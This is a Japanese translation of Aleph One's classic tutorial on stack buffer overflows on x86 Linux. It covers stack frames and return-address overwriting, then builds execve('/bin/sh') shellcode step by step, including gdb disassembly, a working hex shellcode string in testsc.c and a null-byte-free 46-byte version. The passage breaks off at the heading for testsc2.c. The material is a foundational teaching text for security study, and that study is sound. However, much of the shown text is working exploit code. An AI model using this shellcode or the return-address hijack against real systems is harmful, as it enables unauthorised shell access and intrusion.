公開日 2000/12/20 Last Updated 2001/4/10
オリジナル記事はこ ちら。この文章に関して怪しい部分がありましたら、訳 者vp5m−snd@asahi−net.or.jpまでご連絡お願いいたします(西岡さんよりご指摘いただきリンク 先と内容を修 正しました。有り難うございました。 2001/4/10)
この翻訳文は著者より掲載許可を得て公開しております。
(Copyright reserved by Aleph One. Special thanks to Aleph One.)

●Security INDEXへ

★TOP INDEXへ


BugTraq,r00t,Underground.Org提供

スタック破りの楽しみと恩恵

Aleph One

「スタック破り」(Cのプログラミング用語)名詞。Cの実装の多くにおいて、ルーチン内でauto変数として定義されている配列のおし まいの部分を越えてスタックに書き込みを行うことは、破壊的になってしまう可能性がある。そういうコーディングを「スタック破り」と言い、ルーチンから returnする際にランダムなアドレスにジャンプさせてしまう原因に成り得る。これは潜在バグとして知られるものの原因となりえる。変数はスタックを捨 て、書き散らし、ずたずたにしてしまう;スタックを破壊する、と言わないのは、この行為が恣意的ではないからである。Spamを参照;またエイリアスのバ グ、coreに対する愚行、メモリリーク、優先順位誤動作、オーバーランねじれも参照。

序文

ここ数ヶ月以上にわたって、発見されたり、不正行為に使われたりしたバッファーオーバーフローセキュリティホールの数が爆発的に増えてきた。例を挙 げると、syslog、splitvt、sendmail 8.7.5、Linux/FreeBSDのmount、Xtのライブラリ、at、などなどである。この記事ではバッファーオーバーフローとはどんなもの で、どうやって不正アクセス=侵入行為を働くのか、を解説してみたい。

まずはアセンブラの基本的な知識が必要である。仮想メモリの概念を理解しておく必要もあるが、それにはgdbを使ってみることが必ずしも不可欠では ないがとても役に立つであろう。また、Intel X86 CPUで、OSはLinuxという環境を前提とする。

いくつか基本的な用語定義をしておこう:バッファーとは単にコンピュータメモリの隣接するブロックのことを指し、そこには同じデータタイプの配列変 数群が倍数分保持される。Cのプログラミングでは普通、ワード単位バッファー配列を結合させる。いちばん使われるのは、キャラクター型配列である。Cにお けるすべての変数のように、配列というのは静的なものか動的なもののどちらかで宣言される。静的変数はプログラムをメモリにロードする時点でデータセグメ ントにアロケイトされる。動的変数はプログラム実行時にスタックにアロケイトされる。オーバーフローさせる、ということは、そのトップ、ふち、または境界 を超えて、(データなどを)流し込む、あるいは埋めてしまうということである。ここでは別名スタックベースのバッファーオーバーフローとして知られる動的 なバッファーのオーバーフローにのみ言及したい。

プロセスメモリの構成

スタックバッファーとは何か、を理解するためには、まずはプロセスというものがメモリの中でどんな構成になっているかを理解しなければならない。プ ロセスは3つの領域に分けられる:TextとDataとスタックエリアだ。ここではスタックエリアに議論を集中させたいと思うが、まず他の領域についても 順を追って少し概観しておこう。

テキスト領域はプログラムやインクルードのコード(命令)によって固定される、リードオンリーのデータである。この領域は実行ファイルのテキストセ クションに相当する。この部分は普通リードオンリーとして扱われ、この領域に対する書き込みを試みると、セグメンテーションヴァイオレーションを引き起こ す。

データ領域は初期化されたデータや初期化されていないデータを含む領域である。静的変数はこの部分にストアされる。データ領域は実行ファイルのデー タbssセクションに相当する。そのサイズはbrk(2)システムコールを使えば変更できる。bssデータやユーザーのスタックを許可されたメモリをすべ て使って拡張した場合は、そのプロセスはブロックされ、さらに大きいメモリ空間を使って再起動するよう設定される。新たなメモリはデータとスタックセグメ ントの間に追加される。

                             /------------------\  lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
\------------------/ addresses


Fig. 1 Process Memory Regions

スタックとは何か?

スタックとはコンピュータ科学の分野でよく使われる抽象的なデータタイプである。オブジェクトのスタックは、スタックに最後に入れられたオブジェク トが最初に削除される、という特性を持つ。
この特性は、ふつうlast in,first out queue、あるいはLIFOとして知られている。

スタックではいくつかのオペレーションが定められている。その最も重要なうちの2つに、PUSHとPOPがある。PUSHはエレメントをスタックの トップに追加する。対照的にPOPは、スタックのトップから最新のエレメントを削除し、スタックサイズを減らす。

なぜわれわれはスタックを使うのか?

現代のコンピュータは高水準言語の必要性に応じて設計されている。高水準言語によってもたらされた構造化プログラミングにおいて最も重要といえる技 術は、プロシージャあるいは関数である。ある意味、プロシージャコールはちょうどjumpのように処理の流れを分岐させるが、jumpと異なり、処理が終 了した時点で、関数はそのコールに引き続くステートメントあるいは命令に制御を戻す。この高水準な抽象概念はスタックの助けを得て実行される。

スタックはまた、関数内で使われるローカル変数を動的にアロケイトしたり、関数へパラメータを渡したり、関数から値を戻すためにも使われる。

スタック領域

スタックとはデータを含んでメモリ内に配置される隣接するブロックである。スタックポインター(SP)と呼ばれるレジスターは、スタックのトップを 指している。スタックの底(ベースアドレス)は固定したアドレスである。サイズはカーネルによって実行時に動的に調節される。CPUはスタックを PUSH、POPする命令セットを持つ。

スタックとは関数呼び出しのときにPUSHされ、戻るときにPOPされる論理的スタックフレームで構成されている。スタックフレームには関数へ渡さ れるパラメータや、関数内で使われるローカル変数や、直前のスタックフレームをリカバーするために必要なデータ(関数呼び出し時の命令へのポインターの値 が含まれる)が格納される。

どちらになるかは実装次第だが、スタックは減算式(メモリアドレスをデクリメントする)、あるいは加算式のどちらかの方式になる。本記事の例では減 算式スタックを用いる。この方式は、IntelやMotorola、SPARCやMIPSプロセッサーなど、多くのコンピュータで使われている。スタック ポインター(SP)も実装に依る。それはスタックアドレスの最後を指すか、あるいはそのスタックの次のフリーな領域のアドレスを指す。ここで議論する際に は、スタックポインターはスタックの最後のアドレスを指すということを前提とする。

スタックのトップ(もっとも低い数値の数字のアドレス)を指すスタックポインターについて付け加えるならば、あるフレーム内の固定位置を指すフレー ムポインター(FP)を実装していると便利であることが多い。原則的に、ローカル変数はSPからのオフセット位置で参照される。しかし、ワード単位データ がスタックにプッシュされたりスタックからポップされたりすると、これらのオフセット値は変更される。スタックのワード数をトレースできるおかげでオフ セット値を修正できるケースもあるが、そうでないケースもあり、いずれの場合にしても相当面倒な管理が必要となる。その上Intelベースプロセッサーの ようなマシンでは、SPからの既知のオフセット位置にある変数にアクセスする場合には複数の命令が必要となってしまう。

その結果、多くのコンピュータではローカル変数とパラメータの両方を参照するときに二番目のレジスターFPを使っているが、それはFPからのオフ セット位置がPUSHやPOPによって変更されないからである。IntelのCPUでは、BP(EBP)がその用途に使われる。MotorolaのCPU では、A7(スタックポインター)以外のアドレスレジスターがそれを行う。この記事では減算式ポインターを用いるので、パラメータには上向きオフセットを 使い、ローカル変数にはFPからの固定値オフセットを用いる。

プロシージャがコールされたら、まず最初に直前のFPを(プロシージャがexitする際にリストアできるように)保存する。そのあと新しいFPを作 成するためにSPをFPにコピーし、ローカル変数用に領域を確保するためにSPを進める。このコードはプロシージャの前処理としてコールされる。プロシー ジャがexitするとき、スタックは再びクリアされ、プロシージャの後処理(としての何か)がコールされる。IntelのENTERとLEAVE命令と、 MotorolaのLINKとUNLINK命令は、プロシージャの前処理と後処理の大部分を効果的におこなうものである。

スタックとはどんなものか、簡単な例で見てみよう:

example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------

function()のコール時にプログラムが何を行うか理解するために、このソースをgccのオプション-S(一般的なアセンブリコードを出力す る)でコンパイルしてみよう:

$ gcc -S -o example1.s example1.c

アセンブリ言語の出力を見ると、function()を呼び出す部分がこういう風になっている:

        pushl $3
pushl $2
pushl $1
call function

スタック内を後方に向けて3つの引数分プッシュし、function()をコールしている。callという命令はスタックに命令ポインタ(IP)を プッシュする。保存されたIPをリターンアドレス(RET)と呼ぼう。関数の中ではまず最初に前処理が行われる:

        pushl %ebp
movl %esp,%ebp
subl $20,%esp

まずEBP(フレームポインタ)をスタックにプッシュしている。その後現在のSPをEBPにコピーし、それを新しいFPポインタにしている。保存さ れたFPポインタをSFPと呼ぼう。そしてローカル変数に領域をアロケイトするためにSPからそのサイズを減算している。

ここで憶えておかなければならないのは、メモリというのはワードサイズの倍数としてのみ割り当てられることができる、ということだ。ここでは1ワー ドは4バイト、あるいは32ビットである。従って5バイトのバッファーとは実質8バイト(2ワード)のメモリを消費し、10バイトのバッファーとは実質 12バイト(3ワード)のメモリを消費することになる。これがSPから20減算している理由である。それを心に留めてfunction()がコールされた 時のスタックを見てみよう(スペース1個は1バイトを表す):

bottom of                                                            top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack

バッファーオーバーフロー

バッファーオーバーフローとはバッファーの中に制御できる量よりも多いデータを入れ込んだ結果起こるものである。この実に良く発見されるプログラミ ングエラーがどんなものか知れば、任意コードを実行する上でのアドヴァンテージになるのではないだろうか?もう一つの例を見てみよう:

example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
------------------------------------------------------------------------------

このプログラムには典型的なバッファーオーバーフローコーディングエラーの関数の例がある。関数は境界チェックを行わずに与えられる文字列を strncpy()を使わずstrcpy()でコピーしている。このプログラムを動かすとセグメンテーションヴァイオレーションになるだろう。関数をコー ルするときのスタックの状態を見てみよう:

bottom of                                                            top of
memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]

top of bottom of
stack stack

ここでは何が起こっているのか?なぜセグメンテーションヴァイオレーションになるのか?簡単なことだ。strcpy()は、ヌルキャラクターが出て くるまで*str(large_string[])をbuffer[]にコピーしている。見ると分かる通り、buffer[]は*strよりかなり小さ い。buffer[]は16バイト長なのに対し、その領域に256バイトを入れ込もうとしているのだ。これはスタック内でbufferを超える250バイ ト全てがオーバーランしていることを意味する。そこにはSFPやRET、それに*strさえもが含まれているのだ!large_string変数を文字 「A」で埋めているが、そのヘキサ値は0x41である。ということはリターンアドレスは現在0x41414141ということになる。これはそのプロセスの アドレス空間の外側である。従って関数からリターンするときに得たアドレスから次の命令をreadしようとしたら、セグメンテーションヴァイオレーション になってしまうというわけだ。

ということで、バッファーオーバーフローは関数のリターンアドレスを変更することを可能にする(笑)わけである。この方法を使えば、プログラムの処 理の流れを変えることができる。最初の例に戻ってスタック内部を見てみよう:

bottom of                                                            top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack

最初の例を修正し、リターンアドレスを変更してどうやって任意コードを実行するようにしてしまうかを実演できるようにしてみよう。スタックの中の buffer1[]の直前にSFPがあるので、その前にリターンアドレスが格納されている。リターンアドレスはbuffer1[]の末尾から4バイトの位 置にある。しかしながら、buffer1[]は2ワードの領域、つまり8バイト長である。従って、リターンアドレスはbuffer1[]の始めから12バ イトの位置に格納されていることになる。関数がコールされた直後のx=1;という命令文を飛び越すように、リターン値を修正してみよう。そうするには、リ ターンアドレスをバイト増やせばよい。コードはこのようになる:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------

やったことはbuffer1[]のアドレスに12を加えただけである。この新しいアドレスがリターンアドレスがストアされている場所としてある。 printfコールまでスキップしたいわけだが、どうやってリターンアドレスに8を加えれば良いことを知ったのだろうか?それにはまず最初にテスト値を 使って(例1)プログラムをコンパイルして、gdbを起動すれば良い:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------

function()がコールされるときのRETが0x8004a8だということがわかるので、0x8004ab以降の部分を飛ばしたいということ になる。次に実行したい命令は0x8004b2にある。あとはちょっとした計算で8バイトを導き出せる。

シェル・コード

リターンアドレスと実行の流れを修正できるということがわかったが、実行させたいプログラムは何だろう?多くの場合単にシェルを実行させたいのだ。 シェルからならば望み通りのコマンドを発行できるからだ。けれども、そういうコードがプログラムに無いのに、何に対して不正アクセスしろというのだ?どう やって任意の命令をアドレス空間に位置づけることができるのだろう?その答えはこうだ。実行しようとしているコードをオーバーフローしたバッファに格納し て、バッファーの内部を指し示すようにリターンアドレスを上書きする。スタックがアドレス0xFFから始まっているとして、Sが実行したいコードを表して いるとすると、スタックはこのようになる:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack

シェルを(子プロセスとして)実行するCプログラムはこのようになる:

-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

アセンブラでどのようになるか見るためにコンパイルし、gdbを起動してみる。-staticフラグを付けるのを忘れないように。さもないとその コードにはexecveシステムコールがインクルードされないだろう。インクルードされる代わりに、いつもの動的Cライブラリの参照があると、ロード時に リンクされるのだ。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc %lt;__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

何が起きているか理解してみよう。まずmainを研究してみよう:

------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
これはプロシージャの前処理である。まず最初に古いフレームポインターをセーブし、現在のスタックポインターを新しいフレームポインターにし て、ローカル変数のために領域を残している。このケースではこの:
char*name[2];
という1つのcharに対する2つのポインターが残している部分である。ポインターは1ワードの長さなので、2ワード分(8バイト)残したこ とになる。
0x8000136<main+6>:movl$0x80027b8,0xfffffff8(%ebp)
値0x80027b8(文字列「/bin/sh」のアドレス)をname[]の最初のポインターにコピーする。このように代入する:
name[0]="/bin/sh";
0x800013d<main+13>:movl$0x0,0xfffffffc(%ebp)
値0x00(NULL)をname[]の2番目のポインターにコピーする。このように代入する:
name[1]=NULL;
execve()の実際の呼び出しがここから始まる。
0x8000144<main+20>:pushl$0x0
execve()用スタックに引数を逆順でプッシュする。NULLから始める。
0x8000146<main+22>:leal0xfffffff8(%ebp),%eax
name[]のアドレスをEAXレジスターに格納する。
0x8000149<main+25>:pushl%eax
name[]のアドレスをスタックに格納する。
0x800014a<main+26>:movl0xfffffff8(%ebp),%eax
文字列「/bin/sh」のアドレスをEAXレジスターに格納する。
0x800014d<main+29>:pushl%eax
文字列「/bin/sh」のアドレスをスタックに格納する。
0x800014e<main+30>:call0x80002bc<__execve>
ライブラリ・プロシージャexecve()をコールする。コール命令がIPをスタックにプッシュする。

------------------------------------------------------------------------------

そしてexecve()である。IntelベースのLinuxを使っていることを憶えておくように。システムコールの詳細仕様は、OSによって異 なってくるし、CPUによっても異なる。あるものは引数をスタックに渡し、その他ではレジスターに渡す。あるものではカーネルモードにジャンプするために ソフトウエア割り込みを使い、その他ではファー呼び出しを使う。Linuxはシステムコールに引数を渡すときにレジスターを使い、カーネルモードにジャン プするときはソフトウエア割り込みを使っている。

------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
プロシージャの前処理。
0x80002c0<__execve+4>:movl$0xb,%eax
スタックに0xb(11デシマル)をコピーする。これはシステムコールテーブルのインデックスである 。11はexecveだ。
0x80002c5<__execve+9>:movl0x8(%ebp),%ebx
「/bin/sh」のアドレスをEBXにコピー。
0x80002c8<__execve+12>:movl0xc(%ebp),%ecx
name[]のアドレスをEBXにコピー。
0x80002cb<__execve+15>:movl0x10(%ebp),%edx
ヌルポインターのアドレスを%ebxにコピー。
0x80002ce<__execve+18>:int$0x80
カーネルモードになる。
------------------------------------------------------------------------------

見ての通りexecve()システムコールに対しすることはあまりない。必要があるのはこれだけだ:

a)ヌルで終わる文字列「/bin/sh」をメモリのどこかに入れる。
b)文字列「/bin/sh」のアドレスをメモリのどこかに入れ、続けてヌル長ワードを入れる。
c)0xbをEAXレジスターにコピーする。
d)文字列「/bin/sh」のアドレスのアドレスをEBXレジスターにコピーする。
e)文字列「/bin/sh」のアドレスをECXレジスターにコピーする。
f)ヌル長ワードのアドレスをEDXレジスターにコピーする。
g)int$0x80命令を実行する。

しかし、もし何かの理由でexecve()コールが失敗した場合は?プログラムはスタックからの命令フェッチを続けるだろう。そのスタックにはラン ダムなデータが入っている可能性があるのに!ほとんどの場合プログラムはcore dumpする。execveシステムコールが失敗してもプログラムにはクリーンにexitして欲しい。そのためにはexecveシステムコールの後に exitシステムコールを追加しなければならない。exitシステムコールはどんなものか?

exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------

exitシステムコールはEAXの0x1に位置して、exitコードはEBXの中にあり、int 0x80を実行する。それだけだ。ほとんとのアプリケーションはエラー無しを表す0をexit時にリターンする。というわけでEBXに0を入れる。段取り はこんな風だ:

a)ヌルで終わる文字列「/bin/sh」をメモリのどこかに入れる。
b)文字列「/bin/sh」のアドレスをメモリのどこかに入れ、続けてヌル長ワードを入れる。
c)0xbをEAXレジスターにコピーする。
d)文字列「/bin/sh」のアドレスのアドレスをEBXレジスターにコピーする。
e)文字列「/bin/sh」のアドレスをECXレジスターにコピーする。
f)ヌル長ワードのアドレスをEDXレジスターにコピーする。
g)int$0x80命令を実行する。
h)0x1をEAXレジスターにコピーする。
i)0x0をEBXレジスターにコピーする。
j)int$0x80命令を実行する。

これをアセンブラ言語で書き出して、そのコードの後ろに文字列を置き、文字列のアドレスを設定し、配列のあとにヌルワードを置くことを忘れないよう に:

------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------

問題は、ハッキングしようとしてるプログラムのメモリ空間のどこに、そのコード(そしてその後に続く文字列)が配置されるのかわからないことだ。そ れを探る1つの方法として、JMPとCALL命令を使うというのがある。JMPとCALL命令はIP相対アドレッシングを用いているので、現在のIPから のオフセットにジャンプするときに、メモリの中の正確なジャンプ先アドレスを知る必要がない。CALL命令を「/bin/sh」文字列の前の適正な位置に 置き、そこにJMPさせるようにすれば、CALL命令の実行時に文字列のアドレスがリターンアドレスとしてスタックに格納される。そのあとはレジスターの 中にリターンアドレスをコピーするだけである。CALL命令は単に実行したいコードの上のアドレスをコールするだけだ。下の図でJでJMP命令を表し、C でCALL命令を表し、sは文字列を表し、処理の流れはこのようになる:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack

こうやってインデックス化したアドレッシングを使って修正した結果、実行したいコードの各命令がそれぞれ何バイト必要なのかを書き出してみよう:

------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------

jmpからcallまで、callからpoplまで、文字列のアドレスから配列まで、文字列のアドレスからヌル長ワードまでのオフセットを計算して みよう:

------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------

良さそうだ。ちゃんと動作するかどうか確認するためにコンパイルして起動してみよう。しかしここで問題がある。実行したいコードはそれ自身を書き換 えるけれど、ほとんどのOSではコードページをリードオンリーにしてしまうのだ。この制限を考慮して、実行したいコードをスタックあるいはデータセグメン トに配置し、その制御を移し変えなければならない。そのために、実行したいコードをデータセグメントのグローバル配列の中に入れる。まずバイナリーコード をヘキサで読み替える必要がある。とりあえずコンパイルして、gdbを使ってヘキサで表示させてみよう:

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

動いた!しかし障害が出てきた。多くの場合ではキャラクタのバッファーをオーバーフローさせようとしている。このシェルコードの中でヌルバイトは文 字列の終わりだと推定されているため、コピーはそこで終わってしまうのだ。ということはハッキングコードを動かすためにはシェルコードのなかにヌルバイト があってはいけない。ヌルバイトを削除してみよう(同時にコードも小さくしてみよう):

           Problem instruction:                 Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

進化したコード:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------

新しいテストプログラム:

testsc2.c
